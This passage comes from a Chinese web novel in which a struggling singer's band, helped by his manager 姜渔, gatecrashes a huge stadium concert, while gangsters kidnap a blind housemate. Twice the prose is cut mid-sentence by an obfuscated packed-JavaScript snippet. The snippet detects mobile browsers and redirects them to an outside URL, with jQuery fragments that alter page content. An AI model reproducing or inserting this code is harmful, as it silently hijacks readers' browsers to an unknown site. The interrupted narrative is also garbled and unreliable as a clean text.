哦，是还没睡醒吗？所以一切还没有恢复原状？还是说就不会恢复原状了？ 不过那是谁？谢雨晴？还是关一蔓？ 温不朽有些嘶哑的声音响起了，还带着一丝羞怯：“怎么样？” 姜渔目光渐渐放空了。 是温不朽的原声…… 他为啥换上了女装？！ 她呆呆看向旁边，温不朽的地铺上已经空了，而一旁熟睡的宫少云已经变成了原本自己的脸。 换言之，眼前女装的这个人，似乎真的是温不朽。 她出声确定：“温不朽？” 温不朽点点头：“对阿……看来我伪装得很成功。” “如果你伪装的是一名变态的话，可以说是成功得无可挑剔。” “有那么糟糕吗？” “可以先解释一下您的举动吗？” 温不朽蛮不在乎地说：“我认为我们乐队可能还需要一些视觉上的创新，你知道视觉系吧？肯定可以引起一阵轰动的。” 温不朽虽然语气蛮不在乎，眼神却一直在闪烁。 姜渔言辞诚恳：“是那种因为群体呕吐而引起的轰动吗？我想你一定可以做到的。” 她语气重了些，像训斥：“说实话。” 温不朽的背肉眼可见地弯了下去，重重叹气。 这时，宫少云也醒来了，他坐起来，眼神从姜渔移到温不朽身上，整个人哆嗦了一下。 宫少云下意识脱口而出的话，格外朴实无华：“什么玩意儿？” 温不朽十分不满：“是你的主唱大人。” 吱呀。温不朽卧室的门也被推开了，关一蔓一手拿着手机，一手揉着眼睛出来了，睡衣惺忪地说：“早上好……我的妈呀！” 她吓得手机差点脱手。 温不朽不满重申：“是主唱大人！” 谢雨晴也从卧室出来：“怎么了？” 关一蔓惊恐地说：“温不朽穿了身黄裙子，还踩着高跟鞋，还有假发。” 谢雨晴呆了呆，勃然大怒：“那不是我的衣服吗！” “你都放到玄关柜里了，我以为是你要丢掉的。”温不朽昂着脖子嘴犟，“谁瞎……谁眼睛看不见了还买高跟鞋。” “你管我！”谢雨晴摸着墙上前要撕烂温不朽的嘴，关一蔓忙扶住谢雨晴，紧紧抱住她，使她不至于因为情绪激动而摔倒。 关一蔓瞪了温不朽一眼，“你太让人失望了，我不想跟变态一起上台！” “我不是变态！我只是在伪装变态！哦不对，我也没有在伪装变态！”温不朽也很激动，“我是在为乐队做贡献！你们懂什么？” 姜渔拍拍手：“好了，大家都冷静下来，让他说说为什么吧。变态。” …… 十几分钟后，大家都洗漱完毕，温不朽也在众人的骂声中沮丧地换上了正常服装。 所有人围在温不朽眼前的破旧笔记本电脑前。在众人的注视下，温不朽叹了口气，点开昨天发布的帖子。 姜渔注意到，温不朽发布的帖子标题为《惊呆了，原来音乐还能这么玩？》 帖子内容如下：无意间刷到一个小乐队上传的视频，好像叫“长歌乐队”，虽然没有键盘手，但他们演唱得真是让我眼前一亮，感觉联邦乐坛好久没出现这么有创新力和感染力的乐队了，尤其是主唱，听说作词作曲都是主唱一手操办的。 关一蔓不禁称赞：“还装成了路人视角啊。” 温不朽：“对，这样可以吸引更多人的关注，也许有很多人喜欢上这样一个宝藏小众乐队呢？” 姜渔：“有人喜欢吗？” 温不朽：“一个都没有，服了。” 温不朽说着，开始向下滑动网页。 此时，帖子已经有了特别多的回复—— “惊呆了，这叫音乐吗？” “找个班上吧。” “眼前一黑，举报了。” “皱眉-沉默-关闭-点开-分享好友-开心地关闭。” “给他那小区楼价唱低好几千。” “抛开好听不好听不说，我就不说了。” “这不是缺个键盘手能解决的问题，建议找个杀手。” “太难听了！！！！！！” …… 帖子的回复足有上百页，如潮的恶评淹没了小小客厅中的所有人。 姜渔若有所思地说：“所以，你是想改变形象，重头开始？让这些看过视频的人不记得你？” 温不朽有些心虚地点头说：“会不会好一点？” “不会。”姜渔云淡风轻地扼杀了温不朽的幻想，她说：“如果只是面对恶评就没有自信的话，你又怎么有足够的勇气上台唱歌？” “我……” “关一蔓逃出了全是偏执狂控制狂恶霸的校园，回去不知道要面对什么样的摧残。宫少云下定决心在手废掉之前也要来争取一个演唱的机会，还抱着付出生命的决心。” 姜渔看着温不朽：“但你要退出？” “我不是退出，我只是……改头换面……” “没有改头换面这回事，无论你外面穿的是裙子，假发，还是面具，都只是你而已。”姜渔平静说，“你的唱功不会因为改头换面而提升，还是烂烂的样子。” 温不朽很受伤地说：“不好意思，你是在安慰我吗？” “我的意思是，如果唱功没有办法短时间内提升的话，你仍然觉得改头换面就可以扭转大众对你的印象，那就代表你的潜意识仍然认为自己有获得认可的能量，那么，重点就不在改头换面。”姜渔顿了顿，说：“做一个偷室友衣服穿的变态只会提升你的弱鸡气质。” “我知道了。”温不朽羞愧地垂下了头。 “何况……你还有我呢不是吗？”姜渔抓着温不朽的头发使其仰起头，又转动他的脑袋，使他看着自己的眼睛，“你如果相信我，我就会让万人为你欢呼。” “……真的吗？”温不朽呆呆地说，眼睛中逐渐重新点亮了光芒。 他目光一定，说：“我知道了，只要你愿意出手救场，我当然相信你！你可是我的金牌经纪人不是吗！虽然我现在什么也没有，但……我知道娱乐圈那些潜规则的，我，我……” 姜渔听到后赶紧松开温不朽的头发，后怕地说：“我会救你的，不必以身相许。” 温不朽看着姜渔，思忖一番，像下定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566544|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么决心，“我知道的，姜姨嘛……在你眼中我还是小孩子，对吗？不过，我爸虽然很帅，但他和我妈很相爱的，我……” 关一蔓与宫少云都投来异样的眼神。 姜渔深呼一口气：“你爸也不必！” 温不朽长长地慨叹一声：“你真是个好人呐。所以，你要怎么帮我？” “很简单。作曲编曲的事情，交给这两位。”姜渔打了个响指，指向关一蔓与宫少云，“你们谁会？” 两人相视一眼，齐齐点头：“都可以。” “那太好了，你们两个重新作曲编曲。”姜渔说，“一个上午时间够吗？” “足够了。” 温不朽还想说话，试图为自己的创作能力争取一下，被姜渔一瞪后弱弱地不再开口了，他看着关一蔓和宫少云就要去忙了，才又举手说：“那键盘手该怎么办……” 姜渔也被问住了，她皱着眉，说：“时间太紧了，有点瑕疵是没办法的事情……” 咚咚咚。 门忽然被敲响了，几人相视一眼，温不朽挠着头发一脸困惑地去开门。 门开后，温不朽整个人都愣住了，他见到了一个陌生又熟悉的人，这个人有着与以往截然不同的造型，导致温不朽的满脑子都是问号。 姜渔看到温不朽杵在门口也不说话，顿时疑窦丛生：“谁啊？” 温不朽让开一个身位，露出站在门前的女孩。 许江竹踩着一双白色运动鞋，穿着清爽的浅蓝牛仔裤，白色短T恤松垮地垂下。她素面朝天，卷发扎成马尾，却还是有几缕碎发垂在额前。这个拥有晴空般干净气质的姑娘，身后背着一个又长又大的亮黑皮箱。 “我看到了帖子，听说这里缺人。”许江竹露出一个甜甜的浅笑，“是吗？姜姨？” 姜渔从愕然中回神，第一时间回应的是：“叫我姜渔就行。” “明白的，您真是永葆青春。”许江竹礼貌地向客厅中几人欠了欠身，脱鞋进来，很自然地来到架子鼓旁边，将黑皮箱放下打开，露出一把昂贵的键盘。除了钢琴的黑白键外，还搭载了许多旋钮按键，为合成器所用。 姜渔面对许江竹，几乎有一种天然的戒备，她说：“你怎么找来的？” 许江竹小小的身躯，忙碌地折腾着键盘，自顾不暇地说：“许氏的眼线很多的。” “为什么过来？” 许江竹手上的动作停了一瞬，像姜渔笑着说：“我有没有说过，我对伙伴总是很好的。” 说过好几次了。姜渔心中回答，说道：“确实，你这孩子打小就很会保护哥哥和妈妈。” 许江竹眼底闪过一丝黯然，笑容收敛几分，轻声说：“我以前……做得还是不够好。” “那就现在做好点。”姜渔也不再寒暄和戒备了，很有无良老板指指点点的气质：“会编曲和作曲吗？有什么想法都多和这两位交流交流。” 关一蔓主动伸出手：“关一蔓。” 宫少云亦然：“宫少云。” 许江竹面对伸过来的两只手，只觉无措：“许江竹。” 温不朽则上前两步，将三个人的手握到一起：“温不朽。长歌乐队，正式成立！耶……” 温不朽正在做某种老套的庆祝方式，忽然腰间一痛，是旁边的姜渔一脚将他踹到一旁，说：“到一边去，都什么时候了还浪费时间。” 53. 顶流之梦（九） 三人凑到一起，紧锣密鼓地开始进行编曲。 另外三人都老实坐在沙发上，温不朽被谢雨晴和姜渔夹在中间，因为不能帮上忙而显得有些坐立不安。 姜渔看了他一眼，看到他的脖颈间挂着一条项链，出声提醒：“你还偷了小谢的项链？” 谢雨晴闻声又愤怒地摸索着掐向温不朽的脖子。 “不是不是。”温不朽阻挡住谢雨晴的攻击，他拿出来项链，说：“是我自己的，你摸。” 谢雨晴接过项链，抚摸着，她有一些失神与困惑，低声说：“哦。” 姜渔也拿到项链，这是一个银质项链，上面没有什么规律地存在一些小点，不知道是不是做工原因，显得坑坑洼洼，她不在意地还给温不朽：“你审美真是奇怪。” “其实我也忘记什么时候买的了。”温不朽也一脸无所谓的样子，他看向交头接耳埋头苦写的三人，声音迷茫：“也不知道能不能成功？” 姜渔问：“怎样才算成功？” “其实很简单的。”温不朽低头看着自己的双手，轻声笑着，“只要能有一个歌迷就够了。” “并不难啊。”姜渔将手搭在温不朽的手上，认真说：“我现在就是你的歌迷。” “谢谢你，但我不是傻子。”温不朽无奈地苦笑。 于是三人又陷入沉默。时间过去一些，时值晌午，许江竹大方地叫了十分奢侈的外卖，谢雨晴点了更多的甜品，狼吞虎咽之余，都是对许江竹的赞美。 下午时分，许江竹三人终于重新编好了曲子，带上温不朽简单对了一番后，正式开始新的一轮排练，有关一蔓与宫少云的加持，这一次从钢琴的前奏上就已经透露出截然不同的气质，山雨欲来的庄重感先起，随即渐快的鼓声加入，一种希望感油然而生，温不朽开口时，已经自带氛围，变成了一种追求希望的信念感十足的嘶吼。 乐队四个人都很惊喜，姜渔也不禁认可地跟着节奏点头，唯独谢雨晴还是堵着耳朵，唉声叹气地：“就不能把温不朽拿掉吗？” 确实还不够完美，姜渔自然明白，但眼下也只能加紧排练了。 在动感十足的音乐中，夜幕再次降临，长歌乐队结束了最后一次演唱，温不朽有些遗憾地说：“明天就是演唱会了，时间不多了，明天再多练一练吧，大家先休息。” 许江竹很是诧异：“你怎么既紧张又松弛的？明明时间还早。” 温不朽十分无奈：“你平时应该住在独栋别墅里吧？我们这样会吵到邻居投诉的，到时候市警过来拘留我们就不好办了。” “倒不是，我是住在庄园里……”许江竹若有所思地点点头，自顾自出门了。 温不朽看着招呼也不打的许江竹关门离去后，十分无语：“还说我们不努力呢，她睡觉也要回大庄园睡啊。” 剩余两人耸耸肩，倒是并无异议。 结果，几人正要洗漱时，门又被敲响了。 “都停止排练了啊，不会又要来骂我吧。” 温不朽抱怨着，硬着头皮去开门，愣神时许江竹已经从他的胳膊下溜进了屋子。 她自然地坐到键盘旁，不容置疑地说：“继续排练。” “可邻居……” 许江竹：“我请这栋楼的人去度假了，一个小时后的机票。” 几人面面相觑。 姜渔则露出欣慰的表情。 谢雨晴叼着牙刷，愣住了，她意识到什么，忙拿出牙刷，口齿不清地说：“我对这场排练也有意见！我……” 许江竹带着歉意的语气说：“这里隔音确实不好，我会送你一栋房子，小谢。” 谢雨晴举起拳头打气：“我建议你们最好快点练！时间……时间不够了！” 客厅内再次响起节奏强烈的音乐，每个人都铆足了劲，聚精会神地排练着这一首歌，键盘跃动，指尖拨弹，鼓点敲落，声嘶力竭中，每个人都在挥洒汗水，直至深夜方休。 一觉天亮，众人又排练了整整一天，曲子已经被众人牢记在心，配合得浑然天成。 夜幕将要降临。 这条破败不堪的街道上，两侧楼房时不时有人探出头来，看向街道，如往常一般无二的小贩站满街道，起锅烧油，叮当作响，火气旺盛。而吸引住户目光的，是街道上排成一列的四辆黑色豪华商务车，中间则是一辆犹如货车大小的亮黑漆面房车，霸气十足。十余名身穿黑色西装的保镖，站成两列，双手背后，笔直地站在一栋楼的门口。 忽然，单元门口出来了一位披着长卷发的贵气漂亮女孩，她在两名保镖的簇拥下走向房车。跟在她后面的，是位一身褐色工装、目光冷然的高个姑娘，她扶着一个盲人女孩，又有两名保镖跟上，护送二人前往房车。再其后，学生年纪的女生和头发很乱的男生，同样被保镖护送至房车方向。 楼道又出来三名保镖，各自拎着皮箱子，里面似乎装着吉他键盘状的乐器。唯独最后一个最为膀大腰圆的保镖，推着一辆小推车，车上是被简单打包的纸壳箱，里面露出架子鼓的零件，这自然是当初宫少云请工人帮忙搬上去时的包装。 最终，一个有着重重黑眼圈的瘦高个男生从楼道里走了出来，他的脸很白皙，五官精致，殷红的嘴唇开合，似乎在嘟囔着什么，向房车走去。 一个个探出的脑袋中，有人惊讶地议论起来。 “那不是住在这的小演员吗？他成名啦？” “温不朽，我知道他！这行头怎么像是去开演唱会！？” “有人听过这后生仔唱歌吗？” “阿温！喂！阿温！” “小温哥哥！小温哥哥！” …… 行走间，温不朽听到了两侧街坊的呼喊，相识的邻居与孩子都在冲他摆手，他的心忽然像是被什么触动了，似乎是因为从来没有被这么多人喊过自己的名字，他有些微微的酸涩。因为他这时才忽然发现在片场时，别人喊他都是“那个谁”、“死龙套”、“蠢仔”。 温不朽站在原地，仰望着家家灯火，他环顾一周，每栋楼都有人在向他挥手。虽然还未演唱，他却仿佛看到了星光点点。在这廉价脏乱的贫民居住区，那些小屋亮起的灯火即是他的星光。 他不知应该作何回应，只是大力地挥动自己的双手回应。 “当今晚过去，或许这里的邻居会成为我的第一批歌迷吧。”他充满希望地想着，向房车大步迈去。 房车内，姜渔看到温不朽修长的身形探了进来，他坐在最靠车边的位置，深深呼出一口气。 她问：“紧张么？” 温不朽头贴着窗户，看房车启动，驶过街道的小贩摊铺，说：“肯定有点，怕观众不买账。” “上台就好了。”姜渔说，“我以前也有很紧张的时候，总觉得自己做不了，但总有一个机会，让你觉得就是现在，必做不可了，于是也就没有了紧张的余地，你只能全力以赴。” “你也会紧张？”温不朽很惊讶地转过头，清澈的眼睛像一只好奇的小狗，看向姜渔，“什么时候？” 姜渔则偏过头，淡淡说：“一年前。” 她只是想起了与衍生体的第一次战斗。在纪小麦的尸体前，她丢掉了一切的紧张与恐惧，只剩下愤怒，那股愤怒让她用钢筋撕碎了怪物。 “真让人好奇。” 温不朽见姜渔无意展开，也没有再多说。 车厢中，四名化妆师已经准备完毕，分别为四人补妆做造型，这四人天生丽质，都是老天赏脸吃饭的长相，倒是耗时时间不长。 近半小时后，房车距离飘荡的歌声已经越来越近。车辆来到凤巢体育馆外部广场时，司机绕了个弯，因为车里坐着许江竹的缘故，房车具备最高的安全权限，从工作通道一路畅通驶入地下车库，又开了几分钟后，车彻底停下来。 姜渔扶着谢雨晴率先下车，顶级音响的穿透力刺穿土壤与混凝土，歌声回荡在地下车库内，除此之外，车库内弥漫着浓重的潮湿感。 这是因为凤巢体育馆毗邻大江。当演唱会开始时，夺目的灯光与投影会射向天空，倒映在江面，令凤巢体育馆包裹在光影之中，犹如一场华贵的梦境。 众人陆陆续续下车，许江竹率先带头走向一条通道。她带上了一顶鸭舌帽，以免被媒体拍到许氏安保的负责人竟然也参与到了这场“事故”之中。 许江竹边走边说：“演唱会已经开始了，当歌手演唱完这一轮，主持人会开始热场，我的人会伪装成演唱会的工作人员，将少云哥的架子鼓和我的键盘搬上台……” 许江竹转身，“你当时和我见面时，说演出的机会你会自己争取。” 姜渔：“是。” “所以，像这种我们几个人冲上台，忽然开始唱歌，还能不被人拦下的情况。你能保证？” “到时候听我命令就行。” 许江竹深深看了姜渔一眼，不无感慨地说：“有你在身边，一定很让人安心。” “等等……”关一蔓弱弱地举起手，“什么叫做冲上台和不被人拦下呀？” 宫少云也一脸懵：“我当时看帖子说是参演万人演唱会的机会，没说是强演啊？” 温不朽有些心虚。 姜渔则回身冷冷看了两人一眼：“都这个时候了，你们难道还要退出吗？” 回身时，手枪的枪把在腰间露出，俨然是在问“你们难道还敢退出吗？” 两人面色惨白地摇摇头：“没有阿，我们没有啊。” “放心，有我在，一切都会顺利进行的。”姜渔满意地说，“你们不会有任何意外出现。” “真是辛苦姜渔姐了。”关一蔓硬生生挤出一个微笑，“你考虑得实在是太周到了。” 姜渔怀中，谢雨晴则表情激动，她说：“我还是第一次这样参加演唱会呢。” 温不朽上前靠近谢雨晴，洋洋得意地说：“很威风吧！可惜你看不到万人为我欢呼的场面了！” 谢雨晴收敛表情：“如果这场演唱会没有你就更好了。” 有许江竹的人在，几人一路畅通无阻。关一蔓妆容精致，毕竟还是学生，此时知道自己是要“干一番大事”，一路上都十分怯场，不敢发表什么看法，宫少云本就话少，如此紧要关头，更是一言不发。但两人恰恰也吸引了最多的目光，许多工作人员都不禁向这几人投来好奇与惊叹的目光，以为是什么神秘嘉宾来捧场。 直到距离演唱会舞台只有一幕之隔的后台。 工作人员穿梭忙碌，已经无暇来关注这几个人的存在，都认为这几人能来到这里必然是哪个部门的特意安排。 关一蔓率先微微探头，惊讶地张大了嘴巴，她一双杏眼被漫天的青色荧光棒填满，那是将近十万人的灯海，欢呼声犹如海啸，与台上的歌手歌声混在一起，穿破了凤巢体育馆的空挡穹顶，回荡在横亘城市的江面上。 温不朽自然也被这壮观的场面吸引了，呆在原地，骨节分明的手攥紧，忍不住颤抖。 谢雨晴却看不见什么，她坐在后台，拖着下巴，感受着第一现场的歌声与欢呼声。她虽然不用上台，反而感觉比温不朽还要紧张一样。 他会成功吗？他唱得那么烂。 他又会挨揍吗？这里人那么多。 谢雨晴心里百感交集，因为无法看见，她的思绪便更加的多。 姜渔也探出头去，她看着台上卖力演唱的歌手，同样百感交集—— 开演唱会的，竟然是贺少云。 丁素小队中，那名爱讲冷笑话的队员。 他穿着亮丽的青蓝交加的演出服，嗓音醇厚悠扬，该深情时深情，该悲伤时悲伤，该雀跃时雀跃，对歌曲的把握程度已经到了炉火纯青的地步。 虽然他唱的都是宫少云的歌。 一名歌神宫少云，在这里成了打工仔。一名开脱口秀却惨遭集体退票的贺少云，在这里却成了歌神。 温不朽对这两个人到底有什么误解？ 姜渔无语地看向温不朽，又可怜地看向宫少云。 她发现宫少云藏在刘海下的深邃目光中，竟然带着一丝压抑不住的热烈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578433|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宫少云轻声地说：“终于，我也站到你站的舞台上了。” ……都什么啊？这两个人怎么回事？温不朽到底都知道些什么？ 此时，贺少云在台上已经唱完这一轮歌曲，从另一侧下去了。咖位比较小的一名嘉宾顶替上去，担任主持人开始热场。 “贺少云！贺少云！喂！就不唱啦！” 嘉宾用浮夸的语气挽留着贺少云，“这钱这么好挣的嘛？” 近十万名观众齐齐笑了起来，十分的捧场，而伴随着嘉宾一句话接一句话的玩笑，姜渔等人注意到，有几名工作人员已经上台开始布置设备，其中就包括了宫少云的架子鼓与许江竹的键盘。 贝斯与吉他也由工作人员交到关一蔓和温不朽的手里。 温不朽拿着吉他，整个人都是蒙的：“接……接下来怎么办？” “对阿姜渔姐。”关一蔓脸色惨白，事到临头，她才悲哀地意识到自己已经成了犯罪团伙的一员。 姜渔环视一圈，问：“都准备好了吗？” “我们准备好了没用，观众没有准备好啊！”温不朽苦着脸，“真让我们冲上去硬唱啊！” 姜渔则反问：“观众准备好了，你们就能准备好？” 温不朽心想问这个干嘛？现在是十万人的演唱会，得有多大面子多大本事才能掌控全场，让十万名观众做好临时换歌手的准备？ 人家可都是花了真金白银来的！ 其实在场所有人都是一样的念头，只不过这件事是明摆着放在台面上的，大家都知道现在最大的问题是什么。 于是所有人的目光都放到姜渔身上。 “如果，观众准备好了，你们就能准备好？”姜渔再次发问。 “能！”宫少云率先表态。 随即，温不朽与关一蔓都咬牙点了点头，许江竹全程则没有表态。她就在等着姜渔展示到底有什么办法。 “好。那我去了，听我命令就好。” 姜渔面色平静地说道，就要走向舞台。 “等等！”温不朽忽然拉住了姜渔，畏惧地说：“你不会要劫持嘉宾什么的吧？” “那不就是破坏演唱会氛围了吗？” “哦……你也知道啊。” “放心吧。”姜渔推开温不朽的手，认真说：“我会让所有观众都为你们欢呼的，这是我对你的承诺。” 说完后，姜渔义无反顾地迈向了舞台，她越走越快，以至于演唱会的工作人员都来不及确认她的身份，只能开始向许氏安保公司的人施加压力。 而许氏安保公司也早已经收到许江竹的命令，搪塞着不上前阻止。 温不朽等人就感受着飞快加速的心跳，看着姜渔的背影越来越远，距离嘉宾越来越近。 直至最后，姜渔已经飞奔起来！那道背影奔向了嘉宾，以迅雷不及掩耳之势，奋力地跃向嘉宾身侧，十分流畅地夺走了嘉宾手中的话筒！ 全场寂静！死一般的寂静！ 温不朽一拍脑门：“完蛋了。” 而另一边，姜渔的身影落地，她俯身在舞台上，话筒放在嘴边，发出中气十足的声音：“听见我的声音了吗？！我亲爱的朋友们！有没有人告诉过你们遇到大事不要惊慌？！有没有人告诉过你们要享受当下？！” 不知道为什么，温不朽猛地感觉到全身血液都沸腾了起来，乐队的其他人也是如此。她们看着姜渔的背影发出如此声嘶力竭的声音，总觉得那股声音里真的有掌控一切的能量。 而在注定无人注意的细节之处，姜渔的T恤上，已经挂上一枚裂开大嘴的丑丑徽章，这枚徽章在灯光下熠熠生辉，倒映出摄人心魄的光芒。 园长之嘴徽章，姜渔早已决定使用的绝招。因为不知道“一天只能使用一次”规则中的“一天时间”，究竟是按幻境沼泽计算还是按现实计算算，所以始终保存着使用机会。 “从这一秒开始，我要听到你们享受当下的声音！” “远处的朋友！近处的朋友！” “演唱会上的朋友！演唱会外的朋友！” “幸福的朋友！悲伤的朋友！年轻的、老去的、用力活着的朋友！” “举起你们的双手，让我听到你们的尖！叫！声！” 寂静维持了一秒。 下一个瞬间。 所有听见姜渔声音的人们，都情不自禁地举起双手，发出演唱会迄今为止最用力的嘶吼！这阵嘶吼不仅来自于场内，还来自于场外，凤巢体育馆瞬间被海啸一般的呼声淹没！ 幕后，温不朽众人面面相觑，彻底傻眼了。 而姜渔的命令，也已经传来—— “现在，我要你们准备好迎接我们最有潜力的新人乐队！长歌乐队！” “不要停止你们的欢呼！不要移动你们的目光！现在，就是你们这一生经历的最精彩的演唱！” 姜渔攥紧话筒，声量一刻也没有降低，她坚毅的目光扫过眼前一片汹涌人潮，忽然伸出手，指向舞台侧方的一处高空，那里是掌控全场设备的中控台。她嘴角微笑，继续放声高喝： “灯光！准备！” “音响！准备！” “舞蹈！准备！” “烟花！准备！” 姜渔的每一句话都犹如一句咒语，每一句咒语落下都有一处响应，灯光就位，音响就位，烟花就位，舞者上台，数百台设备，数百名工作人员，运转得像一台严谨的仪器。姜渔回头看去，温不朽等人已经登台，站在各自的位置上。 她回过头，看向人头涌动的灯海。 “现在！演出！开始！” 乐声轰得奏起，世上最顶级的音响发出令血液为之共振的轰鸣，十万支青色荧光棒被用力地挥动，巨大灯筒射出贯穿天际的耀眼光芒，肆意摇摆，点亮夜空。场外传来剧烈的爆炸声，环绕整个体育馆的烟花开始升空，七彩之色拖着火尾，围满这一片天地，火光落下，烟花炸开，倒影在所有观众的眼中，他们的瞳孔中都带着疯狂的热切。 这一刻，星光璀璨！ 54. 顶流之梦（十） 人潮涌动，呐喊声不断，长歌乐队四名成员拼上了所有精力去演奏。温不朽的歌声在点燃全场的躁动中，似乎也显得不是那么抽象了。 姜渔站在舞台的暗处，观察着温不朽是否发生了什么异样。 在陆伯原的幻境沼泽中，陆伯原第一次抵达故乡的家后，园长尾随其后，杀死了成年的陆伯原，这才让姜渔意识到真正主体是小小的陆伯原。 如今，温不朽已经如愿站上舞台演唱，那么幻境沼泽会露出怎样的破绽？ 如果这一次失败后，又会不会如上一次一样重来？但姜渔本身已经没有重来的时间了，她必须在这一轮中就找到被异化的精神锚点。 可温不朽只是奋力歌唱，并无异样。 越顺利，姜渔便越不安。 …… 歌声在空旷的地下车库回响。 陷入昏迷的谢雨晴，被抱上了一辆破旧的货车。 壮硕的祺哥关上车门，坐上驾驶室，眼中闪烁凶光，启动车辆：“这小瞎子最好跟温不朽有点关系。” “大哥，我打听过了，他们是同居关系。” 祺哥的一名小弟也随之上车，脸上都是困惑：“不过，那小崽子难不成真当上歌星了？” “有油水可榨，更好。”祺哥点起烟，冷哼一声：“有这小瞎子在，他就逃不出百盛的手心！” 小弟有些没底：“大哥你不觉得太奇怪了吗？咱们只是在跟踪那小崽子，结果许氏安保的人问咱们找谁，我一报温不朽的名字竟然就可以通行无阻了。你说……他是不是已经攀上了许氏？” “怕什么？” 祺哥冷笑得狰狞：“没人能扫百盛的面子。许氏？也不行！” …… 歌声同样在无人关心的贫民小区中响起。 三五个年轻孩子们在家中蹲在电视前看转播，屏幕上，温不朽在舞台上放声歌唱，活力四射，一如被“园长之嘴”影响的观众一样，孩子们也热血十足，跳个不停。 刹那间，电视屏幕变成了一片雪花。 孩子们愣住了，还没等反应，他们听到整片小区都响起了咒骂声，不禁面面相觑。 似乎所有家的电视都出了问题。 只有一栋楼很安静。 这栋楼的所有住户都在昨天出门度假了。 此时，这栋楼的六层，在一间冷清的漆黑客厅中，响起“咔哒”一声。 老式电视忽然自己开了。屏幕上，光影迅速闪烁，最终定格在旷野台的频道。黑白两色的单调画面，一如既往，停滞在一个雨夜，抱着吉他的男生与举伞的女生相对站着。 紧接着，屏幕再一次发生变化，像是有人按下“倒放”的按钮，这幅永远卡顿的画面开始迅速倒退，车辆倒车，路人倒行，雨水逆流，雪花铺满街道，又飘向天上。 直至一个冬季的晴日。 街道上，男生独自一人，仍然抱着吉他在路边卖唱。他认真地盯着和弦，仿佛也不太熟练。路人从他身边穿梭而过，他并不因没有生意而沮丧，始终安静且专注。阳光下，这个穿着棕色毛呢大衣，裹着围巾的男生，透出一种温暖祥和的气质。 如往常一样，满是雪花的黑白画面，画质过于模糊，看不清男生的模样。 “您唱得很好听。” 电视响起一道空灵的女声，她轻声说话，但咬字清晰。 “谢谢。” 男生抬起头来，自然而然地露出一个大大的笑容，像小狗一样。下一秒，他却猛地愣住了。 镜头切至女生的脸上，那是一张空白的脸。 男生像是被吓到了，有些慌张，他的手在吉他上不知如何摆放，半天吞咽一下口水，挤出一句话：“抱歉，我……我有些意外。” 女生虽然没有嘴，却发出轻轻的善意笑声，“您不用道歉，我理解的，这幅样子很让您为难吧。” “不……您很漂亮。”男生挠着头发，嘿然一笑，“我只比你大一点，不用那样尊敬。” “哦，是吗？”女生声音中带着一丝俏皮，“可我是你的客户哦。我有钱的。” 女生穿着厚厚的白色羽绒服，带着毛绒帽与耳包，很怕冷的样子。 她说话时，手从衣兜里掏出一张纸币，递给男生。 男生看到钞票后一惊，受宠若惊地躬身双手接过：“谢谢老板，祝老板多多发财。” 镜头拉近，只是一张一元的纸币而已。 女生话中有止不住的小小欣喜：“第一次有人管我叫老板诶。” 男生看了眼女生空白的脸，讪笑说：“因为工作沟通都很不方便吧。” “嗯。” “但是……只是听人唱歌就没关系吧。”男生笑了。 “嗯！” “那么，你可以常来听我唱歌，如果每次可以多给一点钱，我就会变得很有钱了！” “哦……你好狡猾。”女生的语气中，仿佛能看到她鼓起嘴生气的样子。 女生伸出手，“我后悔了，把钱还我。” “一块钱也要还！？” “还我！” “算了算了……我开玩笑的，以后，你可以免费听我唱歌，不用给钱的。” 一阵沉默后，两声笑声响了起来。 “你叫什么名字？” “温不朽。” “好的，温先生，我会每天来听你唱歌。” 女生紧了紧羽绒服，双手抱在一起，时不时跺脚躲避寒冷。 温不朽再次笑了，重新拨动起琴弦。 …… 凤巢体育馆。 舞台上，温不朽忽然按错了一个和弦。 他连忙调整心态，重新聚精会神起来，但刚才的异样让他始终放不下心来。 “刚才看到的是什么东西？雪花频道？老电视？他们是谁？在说什么？” “看不清也听不清……像幻觉一样，是太激动了吗？” 姜渔也注意到温不朽的异样。 是幻境沼泽的异化开始松动了么？ 她眼中闪过一丝精光，在舞台的边缘缓缓移动，更加靠近温不朽。 …… 客厅中，电视画面再次变换。 温不朽与面目空白的女生，总是相对而立。 一人唱，一人听，偶尔有人驻足，最终都会离去。这条街道上不变的，只是这两个人而已。 此时，两个人坐在街边的长椅上，捧着两杯泡面。温不朽呼噜噜吃着，女生大抵是因为没有嘴的原因，只是捧着取暖。 “温先生，你的歌声很有画面感，我总能从歌声里看到大自然的风景。” “真的吗？不是因为我请你吃饭吧。” “不是的，我是认真的。”女生的头点得很坚定，“等这个冬天过去，没准你就可以开演唱会啦。” “嘿嘿，不瞒你说，我真的去面试了一家公司！” …… 街道上的景色来到春天，但街上却只有女生一个人。 镜头中，日色从白天流转到夕阳。 温不朽的身影匆匆赶来。 “对不起啊，我来晚了，那间公司签了我之后有好多的培训。” “没事的，反正我也没有事情可做。” 女生虽然等待一天，但温不朽一来，语气中又充满了干劲，“那你要多唱几首了！” “我会的！我还会请你吃晚饭！” 温不朽卸下吉他，说：“不过，你从不用手机的吗？这样我有时间唱歌就可以联系你了。” 女生缓缓摇头：“我没有手机。用不上，也就从没买过。” “这样啊……” …… 街景再次流转。 女生穿着一件薄卫衣，孤零零站在黑夜里。 温不朽的身影由远及近，跑了过来，在女生面前扶着膝盖连连喘气。 